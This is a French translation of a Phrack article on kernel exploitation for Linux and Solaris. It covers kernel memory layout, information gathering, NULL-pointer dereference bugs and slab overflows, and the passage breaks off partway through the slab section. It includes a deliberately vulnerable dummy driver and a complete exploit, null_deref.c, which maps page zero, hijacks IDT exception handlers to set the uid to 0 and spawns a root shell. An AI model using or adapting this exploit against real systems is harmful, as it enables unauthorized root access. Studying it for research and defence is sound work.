==Phrack Inc.==
Volume 0x0c, Issue 0x40, Phile #0x06 of 0x11
|=-----------------------------------------------------------------------=|
|=--------------------=[ Attacking the Core : Kernel ]=------------------=|
|=--------------------=[ Exploiting Notes ]=------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ By sgrakkyu ]=----------------=|
|=-----------------=[ <sgrakkyu_at_antifork_dot_org ]=----------------=|
|=-----------------=[ ]=----------------=|
|=-----------------=[ twiz ]=----------------=|
|=-----------------=[ <twiz_at_email_dot_it> ]=----------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ February 12 2007 ]=-------------------------=|
|=---------------=[ Traduit par TboWan pour arsouyes.org ]=--------------=|
|=-----------------------------------------------------------------------=|
------[ Sommaire
1 - La salle de jeu
1.1 - Agencement de l'espace mémoire virtuel noyau/utilisateur
1.2 - Driver de périphérique factice et vulnérabilités réelles
1.3 - Note sur la collecte d'informations
2 - Vulnérabilités et bugs noyaux
2.1 - vulnérabilités de "NULL/userspace dereference"
2.1.1 - Vulnérabilité "NULL/userspace dereference" : null_deref.c
2.2 - L'allocateur de slab
2.2.1 - Vulnérabilités de débordement de Slab
2.2.2 - Exploitation d'un débordement de Slab : MCAST_MSFILTER
2.3 - Vulnérabilités de débordement dans la pile
2.3.1 - Exploitation UltraSPARC
2.3.2 - Un exploit fiable pour Solaris/UltraSPARC
2.4 - Une amorce sur les bugs logiques : race conditions
2.4.1 - Forcer un chemin noyau à dormir
2.4.2 - AMD64 et exploitation de race condition : sendmsg
3 - Scénarios avancés
3.1 - PaX KERNEXEC & espaces utilisateurs/noyau séparés
3.2 - Exploitation noyau distante
3.2.1 - Le combat du réseau
3.2.2 - Restauration du flot des cadres de pile
3.2.3 - Restauration des ressources
3.2.4 - Copier le code
3.2.5 - Exécuter le code en mode utilisateur [ Donne moi vie ! ]
3.2.6 - Le Code : sendtwsk.c
4 - Mots de la fin
5 - Références
6 - Sources - drivers and exploits [stuff.tgz]
------[ Intro
Les dernières années ont vu un intéret croissant sur les exploitations
basées sur le noyau. La difusion grandissante d'approche de "prevention de
sécurité" (pile et tas non-exécutable, mmapage de librairies ascii-armored,
randomisation de mmap/pile et de zone généralement virtuelles, juste pour
vous montrer les plus connues) est a rendu / est en train de rendre
l'exploitation en mode utilisateur de plus en plus difficile. En plus, il y
a eu un travail considérable sur l'audition de code d'application, qui fait
que les nouveaux bugs sont dénéralement plus complèxes à gérer et
exploiter.
L'attention s'est donc tournée vers le coeur des systèmes d'exploitation,
vers la (in)sécurité du noyau. Ce papier va tenter de vous donner un aperçu
de l'exploitation du noyau, avec des exemples pour IA-32, UltraSPARC et
AMD64. Linux et Solaris seront les systèmes d'exploitation cible. Plus
précisément, une architecture sera, à son tour, utilisée principalement
pour couvrir une des trois catégories d'exploitation principales : slab
(IA-32), stack (UltraSPARC) et race condition (AMD64). Les détails
expliqués dans ces "analyses profondes" s'appliquent, de toute façon, dans
la plupart des cas aux autres scénarios d'exploitation.
Puisque les exemples d'exploitation sont surement intéressant mais ne
montre d'habitude pas la complexité "effective" pour tirer avantage d'une
vulnérabilité, une paire d'exploit "de la vie réelle" seront présentés
aussi.
------[ 1 - La salle de jeu
Avant de commencer, montrons d'abord que : "bruteforcer" et "noyau" sont
deux mots qui ne vont pas ensemble. On ne peut pas faire crasher le noyau
encore et encore pour trouver la bonne adresse de retour ou le bon
alignement. Un erreur dans l'exploitation noyau nous mène généralement à un
crash, une panique ou un état instable du système d'exploitation. L'étape
de "collecte d'information" est tellement importante, autant qu'une bonne
connaissance de l'agencement du système d'exploitation.
---[ 1.1 - Agencement de l'espace mémoire virtuel noyau/utilisateur
Du point de vue utilisateur, nous ne voyons quasiment rien sur l'agencement
du noyau ou des adresses auquelle il est mappé [en fait, il y a quelques
informations qu'on peut collecter depuis le mode utilisateur, et nous les
montrerons plus tard]. Cependant, c'est à partir du mode utilisateur qu'on
doit commencer pour mener notre attacke et une bonne connaissance de
l'agencement de la mémoire virtuelle (et de son implémentation) est, en
fait, indispensable.
Il y a deux agencements de l'espace d'adressage possibles :
- espace noyau au nom de l'espace utilisateur (les tables des pages noyau
sont dupliquées sur chaque processus; l'espace d'adressage virtuel est
divisé en deux, une pour le noyau, une pour le processus). Les noyaux
tournant sous x86, AMD64 et sun4m/sun4d ont d'habitude ce genre
d'implémentation.
- espaces d'adressage noyau et utilisateur séparés (les deux peuvent
utiliser tout l'espace d'adressage). Une telle implémentation, pour être
efficace, requièrt un support dédié de l'architecture sous-jacente.
C'est le cas des registres de contexte primaire et secondaire en
conjonction des identificateurs ASI sur architecture UltraSPARC
(sun4u/sun4v).
Pour voir les avantages principaux (d'un point de vue de l'exploitation) de
la première aproche sur la seconde, nous devons introduire le concept de
"contexte de processus". À chaque fois que le CPU est en mode "supervisor"
(le célèbre ring0 sous IA-32), le flux d'exécution du noyau en train d'être
exécuté doit être dans un contexte d'interruption s'il n'a pas de processus
de base. Le code dans une interruption ne peut pas bloquer (par exemple
attendre qu'une demande de page ramène une page utilisateur référencée) :
le scheduler n'est pas capable de savoir quoi mettre en sommeil (et quoi
réveiller ensuite).
Le code fonctionnant dans un contexte de processus a, lui, un processus
associé (souvent celui qui a généré l'exécution noyau via, par exemple, un
appel système) et est libre de bloquer/dormir (et donc, il est libre de
référencer l'espace d'adressage virtuel utilisateur).
C'est une bonne nouvelle sur les systèmes qui implémentent des espaces
d'adressages qui combinent utilisateur/noyau, puisque, pendant l'exécution
au niveau noyau, nous pouvons déréférencer (ou sauter à) des adresses
utilisateur. Les avantages sont évidents (et nombreux) :
- nous n'avons pas besoin de deviner où se trouve le shellcode et on
peut l'écrire directement en C (ce qui facilite l'écriture, si besoin,
de long codes complexes de récupération) ;
- nous ne devons pas faire face au problème de trouver un endroit
fiable, grand et sûr pour le stocker ;
- Nous ne devons pas nous ennuyer à propos de protection de pages
non-exécutables (nous sommes libres de les mmaper/mremaper comme on
veut, et, évidement, de charger le code directement dans le segment
.text si nous n'avons pas besoin de le modifier lors de l'exécution) ;
- On peut mmaper de grands portions de l'espace d'adressage et les
remplir avec des nops ou instructions/données du genre (utile quand on
ne contrôle pas complètement l'adresse de retour ou le
déréférencement) ;
- on peut facilement prendre avantage du "NULL pointer dereference bugs"
(dércit "techniquement" plus loins).
L'espace laissé au noyau est tellement petit : sous x86, il fait 1 Go sous
linux et il fluctue sous Solaris en fonction de la quantité de mémoire
physique (voir usr/src/uts/i86pc/os/startup.c dans le source
d'Opensolaris). Cette fluctuation est apparue être nécessaire pour éviter
autant que possible de gaspiller des plages d'adresses mémoires et, en même
temps, éviter la pression sur l'espace réservé au noyau.
La seule limitation de l'espace virtuel du noyau (et des processus) sur les
systèmes implémentant des espaces noyaux/utilisateurs séparés est donnée
par l'architecture (UltraSPARC I et II ne peuvent référencer que 44bits sur
les 64bits adressables. Ce trou d'adresses est placé entre
0x0000080000000000 et 0xFFFFF7FFFFFFFFFF).
Ce modèle de mémoire rend en fait l'exploitation plus difficile, parce
qu'on ne peut pas déréférencer l'espace utilisateur directement. Le "NULL
pointer dereference" cité plus haut est beaucoup plus un-exploitable. De
plus, on ne peut pas se fifier aux adresses utilisateurs "valides" pour
stocker notre shellcode (ou tout autre donnée d'émulation du noyau), comme
nous ne pouvons plus "retourner en espace utilisateur".
Nous n'irons pas plus dans les détails de la description théorique des
architectures (vous pouvez voir les manuels de références en [1], [2] et
[3]) puisque nous avons préféré coupler l'analyse des aspects pertinents
des architectures et des OS pour l'exploitation avec des présentations de
codes d'exploitation réels.
---[ 1.2 - Driver de périphérique factice et vulnérabilités réelles
Comme on l'a dit dans l'introduction, nous allons présenter une paire de
vrai exploit fonctionnels, en espérant qu'ils donnent un meilleur aperçu
sur tout le precessus d'exploitation du noyau. Nous avons écrit des
exploits pour :
- La vulnérabilité MCAST_MSFILTER [4], utilisée pour montrer
l'exploitation d'un débordement d'un slab noyau.
- La vulnérabilité sendmsg [5], utilisée pour montrer une race condition
efficace (et un débordement de pile sous AMD64).
- Un débordement de tampon du SIOCGIWSCAN de madwifi [21], utilisé pour
montrer un réel exploit distant pour le noyau linux. Cet exploit a déjà
été publié dans [22] avant la sortie de ce papier (qui contient une
discussion plus détaillée sur lui et un autre exploit "basé factice"
pour un scénario plus complexe).
De plus, nous avons écrit un driver de périphérique factice (pour Linux et
Solaris) pour montrer avec des exemples les techniques présentées. Un
exploit distant plus complex (comme déjà mentionné) et un exploit capable
de gérer un Linux avec PaX/KERNEXEC (et une séparation de l'espace
noyau/utilisateur) seront présentés aussi.
---[ 1.3 - Note sur la collecte d'informations
Vous vous souvenez quand on a parler de collecte d'information ? Presque
tous les systèmes d'exploitation "exportent" vers le mode utilisateur des
informations utiles pour développer et déboguer. À la fois Linux et Solaris
(nous ne prenons pas en compte pour l'instant des "patchs de sécurité").
exposent de manière lisible par l'utilisateur la liste des adresses de
leurs symboles exportés (symboles que les auteurs de modulent peuvent
référencer) : /proc/ksyms sous Linux 2.4, /proc/kallsyms sous 2.6 et
/dev/ksyms sous Solaris (les deux premiers sont des fichiers textes, le
dernier est un ELF avec la section SYMTAB). Ces fichiers fournissent des
informations utiles sur ce qui est compilé à l'intérieur du noyau et à
quelles adresses se trouvent certaines fonctions et structures, adresses
que nous pouvons récupérer à l'exécution et utiliser pour augmenter la
fiabilité de notre exploit.
Mais ces informations peuvent manquer dans certains environnements, le
système de fichier /proc peut être non-monté ou le noyau compilé (ainsi que
des patches et changements de sécurité) pour ne pas les exporter. De nos
jours, c'est plus un problème Linux que Solaris. Solaris exporte beaucoup
plus d'informations que Linux (probablement pour aider à déboguer sans
avoir le code source) vers le mode utilisateur. Chaque module est affiché
avec ses adresses de chargements avec "modinfo", l'interface proc exporte
les adresses des structures "proc_t" vers le mode utilisateur (ce qui nous
donne un point d'entrée crucial comme nous le verront, pour l'exploitation
sus systèmes UltraSPARC) et l'utilitaire "kstats" nous permet d'enquêter
sur beaucoups de paramètres noyaux.
En l'absence de /proc (et de /sys sous Linux 2.6), il y a un autre endroit
pour trouver des informations, l'image du noyau sur le système de fichier.
Il y a en fait deux situations [favorevoli] [NDT : mot italien voulant dire
favorable] possibles :
- L'image est quelque part surle système de fichier et est en lecture,
c'est le cas par défaut sur beaucoup de distributions Linux et pour
Solaris ;
- L'hôte cible utilise une image noyau par défaut, issue de
l'installation ou d'un repository public. Dans cette situation, c'est
juste une histoire de recréer la même image sur votre système et
d'inférer à partir. Ceci devrait être toujours faisable sous Solaris,
d'après le niveau de patch (qu'on récupère avec "uname" et/ou
"showrev -p"). Les choses changent si Opensolaris est utilisé.
La présence de l'image (ou la possibilité de la deviner) est cruciale pour
l'exploitation d'environnement avec KERN_EXEC/espaces noyau/utilisateurs
séparés présentée à la fin du papier.
En admettant que nous n'ayons aucune informations exportée et que
l'adminstrateur prudent ait retiré toutes les images du noyau qui tourne
(et, logiquement, en l'absence de fuites de mémoire noyau ;)) nous avons
une dernière source qui peut nous aider dans l'exploitation :
l'architecture. Prenons l'architecture x86, un processus tournant en ring3
pourrait requérir les adresses logiques et les offset/attribut des tables
du processeur GDT,LDT,IDT,TSS :
- avec "sgdt" nous récupérons l'adresse de base et l'offset max de GDT ;
- avec "sldt" nous pouvons récupérer l'index d'entrée GDT du LDT courant ;
- avec "sidt" nous pouvons récupérer l'adresse de base et l'offset max de
l'IDT ;
- avec "str" nous pouvons récupérer l'index d'entrée DGT du TSS courant.
Le meilleur choix (mais pas le seul) dans ce cas est l'IDT. La possibilité
d'changer un simple octet à un endroit choisi nous permet d'avoir un
exploit fiable et complètement fonctionnel [*].
[*] L'idée ici est de modifier le MSB de la base_address d'une entrée de
l'IDT et donc "hijacker" le gestionnaire d'exception. Logiquement, nous
avons besoin d'un écrasement contrôlé d'un octet, voir partiellement
contrôlé avec une valeur d'octet plus basse que la valeur "kernelbase" pour
pouvoir le faire pointer vers une portion du mode utilisateur. Nous
n'entreront pas dans les détails sur l'implémentation et l'agencement de
l'IDT ici, vous pouvez les trouver dans les manuels de processeurs [1] ou
dans l'article de kad du phrack 59 ""Handling the Interrupt Descriptor
Table" [6].
L'exploit "NULL pointer dereference" présenté pour Linux implémente
cette technique.
Une étape aussi importante que la collecte d'information est celle de la
récupération, qui a pour but de laisser de noyau dans un état cohérent. Cet
étape est souvent effectuée dans le shellcode lui-même ou juste après que
l'exploit ait pris place (et ait réussi), en utilisant /dev/kmem ou un
module chargeable (si possible). Cette étape est logiquement indépendante
de l'exploit, donc nous l'expliqueront juste en même tempsque les examples
(faire une section dédiée serait inutile).
------[ 2 - Vulnérabilités et bugs noyaux
Nous commencons ici une excursion dans les diverses typologies de
vulnérabilités noyau. Le noyau est une grosse bête complexe, donc même si
nous allons tracer des scénarios "communs", il y a beaucoup plus de "bugs
logiques" possibles qui peuvent mener à une corruption du système.
Nous allons couvrir les vulnérabilités basées sur la pile, le "tas" (ou
mieux, les slabs) et les déréférencements null/utilisateurs. Comme exemple
de "bug logique", un chapitre complet est dédié aux race conditions et aux
techniques pour forcer un chemin d'exécution noyau à dormir/re-scheduler
(avec un réel exploit pour sendmsg [4] sous AMD64).
Nous n'allons pas couvrir dans ce papier, l'ensemble des vulnérabilités
relatives aux erreurs logiques de mémoire virtuelle, puisque celles-ci ont
déjà été intensivement décrites est intelligement exploitées, sous Linux,
par les gens d'iSEC [7]. De plus, il est quasiment inutile, de notre point
de vue, de créer un code vulnérable "fait main" pour des bugs logiques et
nous n'étions au courant d'aucune vulnérabilité _publique_ de cette sorte
sous Solaris. Si vous en avez, n'hésitez pas à nous les soumettre, nous
serions ravis de travailler dessus ;).
---[ 2.1 - vulnérabilités de "NULL/userspace dereference"
Cette sorte de vulnérabilité dérive de l'utilisation d'un pointeur
non-initialisé (qui a généralement une valeur NULL) ou cassé, tel qu'il
pointe alors dans la partie utilisateur de l'espace d'adressage. Le
comportement normal d'un système d'exploitation dans ce cas est un "oops"
ou un crash (en fonction du degré de sévérité du déréférencement) au moment
de la tentative d'accès à la mémoire non-mmapée.
Mais nous pouvons évidement mmaper cette zone mémoire et laisser le noyau y
trouver des données malicieuses "valides". C'est plus que suffisant pour
obtenir des privilèges root. On peut déterminer deux scénarios possibles :
- modification du pointeur d'instruction (un déréférencement de call/jmp
direct, un pointeur de fonction appelée dans une structure, ...) ;
- une écriture "contrôlée" dans l'espace noyau.
La première sorte de vulnérabilité est vraiment trivialle à exploiter,
c'est juste une histoire de mmaper la page en question et d'y placer le
shellcode. Si l'adresse déréférencée est une structure contenant un
pointeur de fonction (ou une chaine de structure avec un pointeur de
fonction quelque part dedans), c'est juste une histoire d'émuler, en espace
utilisateur, ces structures, et faire pointer le pointeur de fonction vers
notre shellcode et de le laisser/forcer le chemin d'exécution à y faire
appel.
Nous ne montrerons pas d'exemple de ce genre de vulnérabilités puisque
c'est la "dernière étape" de n'importe quel exploit plus complexe (comme on
le verra, nous essaieront toujours, quand c'est possible, de faire un jmp
vers l'espace utilisateur).
La deuxième sorte de vulnérabilité est un peut plus complexe puisque nous
ne pouvons pas modifier directement le pointeur d'instruction, mais nous
avons la possibilité d'écrire quelque part dans la mémoire du noyau (avec
des données sous contrôle ou non).
Jetons un coup d'oeil à un extrait de code, issu de notre driver factice
sous Linux :
< stuff/drivers/linux/dummy.h >
[...]
struct user_data_ioctl
{
int size;
char *buffer;
};
< / >
< stuff/drivers/linux/dummy.c >
static int alloc_info(unsigned long sub_cmd)
{
struct user_data_ioctl user_info;
struct info_user *info;
struct user_perm *perm;
[...]
if(copy_from_user(&user_info,
(void __user*)sub_cmd,
sizeof(struct user_data_ioctl)))
return -EFAULT;
if(user_info.size > MAX_STORE_SIZE) [1]
return -ENOENT;
info = kmalloc(sizeof(struct info_user), GFP_KERNEL);
if(!info)
return -ENOMEM;
perm = kmalloc(sizeof(struct user_perm), GFP_KERNEL);
if(!perm)
return -ENOMEM;
info->timestamp = 0;//sched_clock();
info->max_size = user_info.size;
info->data = kmalloc(user_info.size, GFP_KERNEL); [2]
/* unchecked alloc */
perm->uid = current->uid;
info->data->perm = perm; [3]
glob_info = info;
[...]
static int store_info(unsigned long sub_cmd)
{
[...]
glob_info->data->perm->uid = current->uid; [4]
[...]
< / >
À cause de la gestion des signes en [1], on peut passer une énorme valeur à
kmalloc en [2], le faisant s'échouer (et retournant alors NULL). Le manque
de vérification à ce point laisse une valeur NULL dans le pointeur
info->data, qui est ensuite utilisée en [3] et aussi dans store_info en [4]
pour sauvegarder la valeur de l'uid courant.
Ce que nous avons à faire pour exploiter ce genre de code est de mmaper
simplement la page zéro (0x00000000 - NULL) dans l'espace utilisateur,
faire échouer le kmalloc en passant une valeur négative et de préparer une
"fausse" structure de données dans la zone précédement mmapée, fournissant
un pointeur fonctionnel pour "perm" et nous permettant d'écrire notre "uid"
quelque part en mémoire.
À ce point, nous avons beaucoup de façons d'exploiter le code vulnérable
(l'exploitation en étant capable d'écrire quelque part des données
arbitraire ou, dans notre cas, partiellement contrôlée n'est en fait
limitée que par notre imagination), mais c'est mieux de trouver une façon
qui "fonctionne partout".
Comme nous l'avons dit plus haut, nous allons utiliser l'IDT et écraser une
de ces entrées (plus précisément, une Trap Gate [NDT : porte piégée], pour
être capable dhijacker un gestionnaire d'exception et redirigier le flux
d'exécution vers l'espace utilisateur). Chaque entrée de l'IDT fait 64 bits
(8 octets) et nous voulons déborder la valeur "base_offset", pour pouvoir
modifier le MSB [NDT : bit de poid fort] de l'adresse de la fonction gérant
l'exeption et donc, la rediriger en dessous de la valeur de PAGE_OFFSET
(0xc0000000).
Puisque les 16 bits de poid fort sont dansles 7ème et 8ème octet de
l'entrée IDT, ce sont eux nos cibles, mais nous sommes en train d'écrire en
[4], 4 octets pour la valeur "uid", nous allons donc casser l'entrée
suivante. C'est mieux d'utiliser deux entrés adjacentes "rarement
utilisées" (au cas où, pour une raison étrange, les chosent tournent mal)
et nous avons décidé d'utiliser les 4ème et 5ème entrées : #OF (Overflow
Detection) et #BR (BOUND Range Exceed Exception).
À ce moment, nous ne contrôlons pas complètement l'adresse de retour, mais
ce n'est pas un gros problème, puisque nous pouvons mmaper de grosses
régions dans l'espace utilisateur et les remplir de nop's, pour préparer
une zone d'atterissage sûre et confortable pour notre exploit. La dernière
chose qu'on doit faire est de restaurer, une fois qu'on récupère le flux
d'exécution en espace utilisateur, les entrées originales de l'IDT, en
codant en dur ces valeurs dans une partie du shellcode ou en utilisant un
lkm ou un code pour patcher /dev/kmem.
À ce moment, notre exploit est près à être lancer pour notre premier "shell
root".
Comme dernière (en fait évidente) note, les vulnérabilités NULL dereference
ne sont exploitables que sur les modèles de systèmes d'exploitations dont
la mémoire "utilisateur et noyau est combinée".
---[ 2.1.1 - Vulnérabilité "NULL/userspace dereference" : null_deref.c
< stuff/expl/null_deref.c >
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "dummy.h"
#define DEVICE "/dev/dummy"
#define NOP 0x90
#define STACK_SIZE 8192
//#define STACK_SIZE 4096
#define PAGE_SIZE 0x1000
#define PAGE_OFFSET 12
#define PAGE_MASK ~(PAGE_SIZE -1)
#define ANTANI "antani"
uint32_t bound_check[2]={0x00,0x00};
extern void do_it();
uid_t UID;
void do_bound_check()
{
asm volatile("bound %1, %0\t\n" : "=m"(bound_check) : "a"(0xFF));
}
/* simple shell spown */
void get_root()
{
char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
char *envp[] = { "TERM=linux", "PS1=y0y0\\$", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
execve("/bin/sh", argv, envp);
fprintf(stderr, "[**] Execve failed\n");
exit(-1);
}
/* Cette fonction est appellée par le faux gestionnaire d'exception : prend l'uid 0 et restaure l'entrée cassée */
void give_priv_and_restore(unsigned int thread)
{
int i;
unsigned short addr;
unsigned int* p = (unsigned int*)thread;
/* simple trick */
for(i=0; i < 0x100; i++)
if( (p[i] == UID) && (p[i+1] == UID) && (p[i+2] == UID) && (p[i+3] == UID) )
p[i] = 0, p[i+1] = 0;
}
#define CODE_SIZE 0x1e
void dummy(void)
{
asm("do_it:;"
"addl $6, (%%esp);" // after bound exception EIP points again to the bound instruction
"pusha;"
"movl %%esp, %%eax;"
"andl %0, %%eax;"
"movl (%%eax), %%eax;"
"add $100, %%eax;"
"pushl %%eax;"
"movl $give_priv_and_restore, %%ebx;"
"call *%%ebx;"
"popl %%eax;"
"popa;"
"iret;"
"nop;nop;nop;nop;"
:: "i"( ~(STACK_SIZE -1))
);
return;
}
struct idt_struct
{
uint16_t limit;
uint32_t base;
} __attribute__((packed));
static char *allocate_frame_chunk(unsigned int base_addr,
unsigned int size,
void* code_addr)
{
unsigned int round_addr = base_addr & PAGE_MASK;
unsigned int diff = base_addr - round_addr;
unsigned int len = (size + diff + (PAGE_SIZE-1)) & PAGE_MASK;
char *map_addr = mmap((void*)round_addr,
len,
PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,
0,
0);
if(map_addr == MAP_FAILED)
return MAP_FAILED;
if(code_addr)
{
memset(map_addr, NOP, len);
memcpy(map_addr, code_addr, size);
}
else
memset(map_addr, 0x00, len);
return (char*)base_addr;
}
inline unsigned int *get_zero_page(unsigned int size)
{
return (unsigned int*)allocate_frame_chunk(0x00000000, size, NULL);
}
#define BOUND_ENTRY 5
unsigned int get_BOUND_address()
{
struct idt_struct idt;
asm volatile("sidt %0\t\n" : "=m"(idt));
return idt.base + (8*BOUND_ENTRY);
}
unsigned int prepare_jump_code()
{
UID = getuid(); /* set global uid */
unsigned int base_address = ((UID & 0x0000FF00) << 16) + ((UID & 0xFF) << 16);
printf("Using base address of: 0x%08x-0x%08x\n", base_address, base_address + 0x20000 -1);
char *addr = allocate_frame_chunk(base_address, 0x20000, NULL);
if(addr == MAP_FAILED)
{
perror("unable to mmap jump code");
exit(-1);
}
memset((void*)base_address, NOP, 0x20000);
memcpy((void*)(base_address + 0x10000), do_it, CODE_SIZE);
return base_address;
}
int main(int argc, char *argv[])
{
struct user_data_ioctl user_ioctl;
unsigned int *zero_page, *jump_pages, save_ptr;
zero_page = get_zero_page(PAGE_SIZE);
if(zero_page == MAP_FAILED)
{
perror("mmap: unable to map zero page");
exit(-1);
}
jump_pages = (unsigned int*)prepare_jump_code();
int ret, fd = open(DEVICE, O_RDONLY), alloc_size;
if(argc > 1)
alloc_size = atoi(argv[1]);
else
alloc_size = PAGE_SIZE-8;
if(fd < 0)
{
perror("open: dummy device");
exit(-1);
}
memset(&user_ioctl, 0x00, sizeof(struct user_data_ioctl));
user_ioctl.size = alloc_size;
ret = ioctl(fd, KERN_IOCTL_ALLOC_INFO, &user_ioctl);
if(ret < 0)
{
perror("ioctl KERN_IOCTL_ALLOC_INFO");
exit(-1);
}
/* save old struct ptr stored by kernel in the first word */
save_ptr = *zero_page;
/* compute the new ptr inside the IDT table between BOUND and INVALIDOP exception */
printf("IDT bound: %x\n", get_BOUND_address());
*zero_page = get_BOUND_address() + 6;
user_ioctl.size=strlen(ANTANI)+1;
user_ioctl.buffer=ANTANI;
ret = ioctl(fd, KERN_IOCTL_STORE_INFO, &user_ioctl);
getchar();
do_bound_check();
/* restore trashed ptr */
*zero_page = save_ptr;
ret = ioctl(fd, KERN_IOCTL_FREE_INFO, NULL);
if(ret < 0)
{
perror("ioctl KERN_IOCTL_FREE_INFO");
exit(-1);
}
get_root();
return 0;
}
< / >
---[ 2.2 - L'allocateur de slab
La principale utilité de l'allocateur de slab est d'accélérer
l'allocation/libération de petits "objets" très utilisés et de réduire la
fragmentation qui dériverait des méthodes basées sur les pages. À la fois
Solaris et Linux implémentent un allocateur de slabs mémoires qui dérive de
celui décrit par Bonwick [8] en 1994 et implémenté dans Solaris 2.4.
L'idée derrière tout ça, en gros : les objets du même type sont regroupés
ensemble dans un cache dans leur forme déjà construite. Le cache est divisé
en "slabs", consistant en un ou plusieurs cadres de page. Chaque fois que
le système d'exploitation à besoin de plus d'objets, un nouvau cadre de
page (et donc de nouveaux "slabs") est alloué et les objets à l'intérieurs
sont construits. Quand un appellant a besoin d'un de ces objets, on lui
retourne un objet déjà construit qu'il n'a plus qu'à remplir avec des
données valides. quand un objet et libéré, il n'est pas détruit, il
retourne simplement dans son slab et est marqué comme disponible.
Des caches sont créés pour les objets/structures les plus utilisées dans le
système d'exploitation, par exemple ceux représentant les inodes, les zones
de mémoires virtuelles, etc. Des caches d'utilité générale, adaptés pour
l'allocation de petites zones mémoires sont aussi créés, un par puissance
de deux, pour que la fragmentation interne soit garantie d'être en dessous
de 50%. Le kmalloc() de Linux et le kmem_alloc() de Solaris utilisent
exactement ces caches décrit plus haut. Puisqu'il est laissé à l'appelant
de nettoyer les objets en provenance d'un slab (qui peuvent contenir des
données "mortes"), des fonctions qui retourne des zones remplies de zéro
après avoir exécuté les précédentes sont généralement fournies aussi
(kzalloc(), kmem_zalloc()).
Une fonctionnalité importante (du point de vue de l'exploitation) de
allocateurs de slabs est la "bufctl", qui n'est significative que dans les
objets libres et est utilisée pour indiquer le "prochain objet libre". Une
liste d'objet libres qui se comporte comme une LIFO est donc crée, et nous
allons voir bientôt qu'elle est cruciale pour une exploitation fiable.
À chaque slab, on associe une structure de contrôle (kmem_slab_t sous
Solaris, slab_t sous Linux) qui est stockée dans le slab (au début, sous
Linux, et à la fin, sous Solaris) si l'objet est plus petit qu'une certaine
limite (1/8 de la page), ou en dehors du slab. Puisqu'il y a un "cache"
pour chaque "type d'objet", rien ne garantis que tous ces "objets"
resterons dans les bornes d'une page dans le slab. Cet espace "libre"
(espace ne dépendant d'aucun objet, ni aux structures de contrôle du slab)
sont utilisées pour "colorer" le slab, respectant l'alignement des objets
(si "libre" < "alignement", aucun coloriage n'a lieu).
Le premier objet est donc sauvegardé à un "offset différent" dans le slab,
donné d'après "valeur de couleur" * "alignement", (et, donc, la même chose
arrive pour tous les objets suivants), tel que des objets de même taille
dans différents slabs ne finiront surement pas dans les mêmes lignes du
cache matériel.
Nous n'entrerons pas plus dans les détails sur l'allocateur de slabs ici,
puisqu'il est extrêmement expliqué dans beaucoup d'autres endroits, les
plus notables sont [9], [10] et [11], et nous continuons donc notre
exploration. Quelques détails d'implémentation suplémentaires vous seront
donné, de toute façon, en même temps que les explications de techniques
d'exploitation.
---[ 2.2.1 - Vulnérabilités de débordement de Slab
NOTE : Comme on l'a déjà dit, Solaris et Linux ont deux fonctions
différentes pour allouer des caches d'utilité générale, kmem_alloc() et
kmalloc(). Ces deux fonctions se comportent en gros de la même manière,
donc, à partir de maintenant, nous n'utiliseront que "kmalloc" et des
mémoires "kmallocées" dans la suite, qui désigneront les deux
implémentations des systèmes d'exploitations.
Un débordement de Slab est simplement l'écriture en dehors des bornes du
buffer d'un objet kmallocé. Le résultat d'un débordement peut être :
- écraser un objet adjacent dans le slab;
- écraser une page suivant celle du slab, dans ce cas, nous allons écraser
au delà des derniers objets ;
- écraser les structures de contrôle associées au slab (Seulement sous
Solaris).
Le premier cas est celui sur lequel nous montrerons un exploit. L'idée
principale d'une telle situation est de remplir le slabs (on peut tracer le
status du slab grâce à /proc/slabinfo sous Linux et kstat -n "nom_du_cache"
sous Solaris) pour qu'un nouveau soit nécessaire. Nous le faisons pour être
sûr d'avoir un bufctl "contrôlé" : puisque le slab entier est remplis, on
récupère une nouvelle page, avec un pointeur bufctl tout "frais" pointant
le premier objet.
À ce moment, nous allouons deux objets, libérons le premier et lançons le
code vulnérable : il va requérir un nouvel objet et écraser directement
dans le deuxième qu'on venait d'allouer. Si un pointeur est stocké dans ce
deuxième objet et utilisé (après le débordement), il est sous notre
contrôle. Cette approche est très fiable.
Le deuxième cas est plus complexe, puisque nous n'avons pas d'objet avec un
pointeur ou une valeur modifiable d'intéret à écraser. Mais nous avons
toujours une chance, en utilisant l'allocateur de cadres de page. Nous
commencons à manger beaucoup de mémoire requérant la sorte de "page" dans
laquelle on veut déborder (par exemple, des donnes de descriteurs de
fichiers), mettant la mémoire sous pression. À ce moment, nous commençons à
remplir le slab pour qu'une nouvelle page soit requise. Si nous avons eu de
la chance, la nouvelle page se trouvera juste avant celle qu'on vient
d'allouer et on a maintenant une chance d'y déborder.
Les points principaux affectant la fiabilité de ce genre d'exploit sont :
- Il n'est pas trivial d'isoler une une structure/donnée précise dans la
masse d'alloc de la première phase, sans avoir aussi d'autres
structures/données grandissant en même temps.
Un exemple va clarifier les choses : pour allouer des tonnes de
descriteurs, nous avons besoin de créer beaucoup de threads. Ceci se
traduit par l'allocation de toutes les structures de contrôles
correspondantes qui peuvent se placer juste après notre buffer qui va
déborder.
Le troisième cas n'est possible que sous Solaris, et seulement dans les
slabs contenant des objets plus petits que "taille_page >> 3". Puisque
Solaris garde les structures kmem_slab à la fin du slab, nous pouvons
utiliser le débordement du dernier objet pour écraser des données à
l'intérieur.
Dans les deux dernières "typologies" d'exploits présentées, nous devont
prendre en compte la coloration du slab. Les deux systèmes d'exploitations
stockent le "prochain offset de couleur" dans le descripteur de cache, et
le mettent à jours à chaque nouvelle allocation de slab (voyons un exemple
du code d'OpenSolaris) :
< usr/src/uts/common/os/kmem.c >
static kmem_slab_t *
kmem_slab_create(kmem_cache_t *cp, int kmflag)
{
[...]
size_t color, chunks;
[...]
color = cp->cache_color + cp->cache_align;
if (color > cp->cache_maxcolor)
color = cp->cache_mincolor;
cp->cache_color = color;
< / >
"minicolor" et "maxcolor" sont calculé à la création du cache et
représentent les bornes du cache disponible :
# uname -a
